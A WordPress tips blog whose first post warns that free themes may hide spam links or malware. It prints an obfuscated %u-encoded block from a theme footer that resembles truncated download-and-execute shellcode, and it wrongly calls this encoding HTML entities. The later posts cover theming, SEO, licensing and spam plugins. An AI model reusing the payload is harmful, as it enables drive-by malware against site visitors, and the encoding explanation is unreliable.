There are now several sites offering free WordPress themes for downloads. Many are excellent, but if you decide to use one on your WP site, it might pay to check the template closely.
For instance, I downloaded one last year; when I had it up on the site and was checking it, I noticed a strange link in the footer, in a very small font. Checking it, I found it was an affiliate link leading to a site selling fake pharmaceuticals. People browsing my site could have clicked on it out of curiosity and rewarded some spammer.
That one was easy to deal with, but the next “booby-trapped” template I came across was very different. It was a good-looking, beautifully-produced template with a high “wow!” factor; I wondered why the designer was giving it away, when plenty of people would have been happy to pay for such a great piece of design. It was only when I opened up the template’s footer.php to paste in a Google ad that I realised why it was being given away.
Viewed in the browser, the footer looked perfectly normal, with just the usual WordPress and designer links; the source code, however, revealed a mass of obfusticated code looking like this:%u54EB%u758B%u8B3C%u3574%u0378%u56F5%u768B%u0 320 u33F5%u49C9%uAD41%uDB33%u0F36%u14BE%u3828%u74F2 uC108%u0DCB%uDA03%uEB40%u3BEF%u75DF%u5EE7%u5E8B
%u0324%u66DD%u0C8B%u8B4B%u1C5E%uDD03%u048B%u038B
%uC3C5%u7275%u6D6C%u6E6F%u642E%u6C6C%u4300%u5C3A
%u2E55%u7865%u0065%uC033%u0364%u3040%u0C78%u408B
%u8B0C%u1C70%u8BAD%u0840%u09EB%u408B%u8D34%u7C40
%u408B%u953C%u8EBF%u0E4E%uE8EC%uFF84%uFFFF%uEC83%u 8304
%u242C%uFF3C%u95D0%uBF50%u1A36%u702F%u6FE8%uFFFF%u 8BFF
%u2454%u8DFC%uBA52%uDB33%u5353%uEB52%u5324%uD0FF%u BF5D
%uFE98%u0E8A%u53E8%uFFFF%u83FF%u04EC%u2C83%u6224%u D0FF
%u7EBF%uE2D8%uE873%uFF40%uFFFF%uFF52%uE8D0%uFFD7%u FFFF
%u7468%u7074%u2F3A%u362F%u2E36%u
(this is faked code)
Obfusticated code is where each character is replaced by its HTML character entity - ‘&’ is replaced by &, for instance. It’s unreadable to humans, but the browser automatically interprets it. Then, according to what the code is, the browser will either display it as text, or will execute something.
It’s a technique that’s often used to disguise email addresses on web pages; however, there’s no need, normally, to disguise URLs. I didn’t know what the code was intended to do, but there was no reason for it to be there; and it could very well have made my site a channel to drop malaware into the PCs of anyone viewing it. So I deleted it straightaway. I did email the template’s designer about it. But I’m still waiting for a reply, weeks later.

So, although there are loads of perfectly good, safe WP themes out there; check every one that you decide to use, just in case. Malware/spyware writers are clearly getting slicker in their approach.

If you like CSS and you want to customise the look of your WordPress blog, then the Sandbox theme is for you.
Totally plain, minimalist, widgets-friendly and valid XHTML 1.0 Transitional, you can give it any look you want simply by customising the CSS; there is no need to touch the HTML at all.
To see just how flexible this theme is, take a look at the results of last year’s Sandbox Design Competition.
Can you do better?

In this set of posts, I shall take you through some basic steps in how to develop your own themes. The tasks shall be broken into stages.

1. Setting up a local installation of WordPress
2. Thinking about design
3. Creating a new theme
4. Testing your theme
5. Finishing your theme

Next page >

Yes, this post is relevant to Wordpress users!
If you’re carving a pumpkin for Halloween, and you think it’s especially artistic, take a photo of it and enter it in this contest.
One of the prizes is a copy of the about-to-be-published WordPress For Dummies book.
Have a go!

Blogs aren’t so much a diary for some, but more a personal outlet for creativity and opinion. But how can you protect your website’s content from being ripped off?

There is an organisation that is there to help you. Even if you want to dedicate your works to the public domain, there is no harm in letting your visitors know. Creative Commons lets you pick out the licence that you want for your site by asking some simple questions. It then spits out the required HTML for you to put a Creative Commons license image and link on your site.

For a lot of WordPress users that want an individual blog, designing their own theme is as important as the content for showing off flourishes in personality. Many bloggers work tirelessly on their themes, trying to create the perfect reflection of the artist’s intentions.

It could be that you have designed your perfect site but what do your readers think? This isn’t a question that is easily answered: you can’t expect every visitor to comment on how your theme looks. The WordPress community forum has introduced a new section, where WordPress users can nominate their sites to be the subject of the community’s critique. For each site submitted, a registered user can comment on each theme based on presentation, use of colours and graphics, use of WordPress’ tools and features, as well as the all-important code validation.

Your WordPress has already many designs under inspection, and from reading the threads there already, you can see that a lot have improved as a result.

SEO is Search Engine Optimisation. Naturally, you want your blog to stand out of the crowd and get listed on search engines; using Wordpress is a good start, as its clean structure positively invites the search engine “crawlers” to come in and list every post and category.
However, there are some things you can do to improve SEO. First, you can be more imaginative and use post titles that sum up the post contents. For instance, instead of “My Day Out”, you can put “Margate Beach - Sun, Sand and Sandwiches!” These descriptive words are known as ‘keywords’ and search engines love keywords.
Then you can customise your permalink structure. A permalink is the URL of an individual post and the permalink structure affects how the search engines find and list blog posts. Go to ‘Options’ -> ‘Permalinks’ in your WP control panel; in the ‘customise’ field put /%category%/%postname%/. The URL of your post will then be “http://www.mywpblog.com/Holidays/margate_beach”.
Note: To change your permalink structure, you need to have permission to write to the .htaccess file. If you’re not sure about this, then this Wordpress.org guide will help.

When I first began using wordpress, I was completely revamping one of my websites to be purely a craft based blog, with the blog being the index page. In the past, I had used Site Meter as my general counter sort of wanted to use it again. I feared that I’d have to play around with php to make it appear on the main page, something that I really wasn’t comfortable with doing at the time.

A quick browse of the wordpress plugin’s and widgets and I found several easily downloadable counter and statistics systems that you can add to your layout through the dashboard of your wordpress account. All you need to do is uploaded them to the plugin’s directory of the wordpress files, all of which is carefully explained on the wordpress website! It really is worth just having a look around the widgets and plugin’s, there’s some great alternatives to the things you’d use on a regular HTML based website there!

Once you have your own independent blog, one of the first things you may want to do is personalise it. With WordPress, you are free to install your own themes. The Sandbox can boast to be one of the most flexible themes around.

The Sandbox comes with its own simple skins, but you are free to change them, find another one, or make your own from scratch. The flexibility of the theme can be seen from the entrants of the Sandbox Designs Competition (SDC), from which you can download and use any of the entries.

Creator Scott Wallick describes his theme:

The Sandbox is a theme for themers. It has the ability to be easily skinned, so beginners will feel comfortable styling it since they only need to know CSS. More experienced designers will drool at the rich semantic markup and profusion of classes, dynamically generated by a few functions.

Comment spam is the bane of blogging. We’ve all seen it in blog comments - either outright ads for porn, drugs or gambling, or meaningless comments (”Nice site!”) with the spam URL included. This kind of spam is more than just a nuisance for the blogger - it provides valuable linkbacks for the spammers; plus it gives a bad impression to readers. So it’s important to keep spam off your blog.

For Wordpress users, the Spam Karma plugin is the answer. Very easy to install, it straightaway starts blocking spam and can be configured to various strengths. You can even choose to put a little counter in your blog’s footer to tell readers how much spam Spam Karma has “eaten”.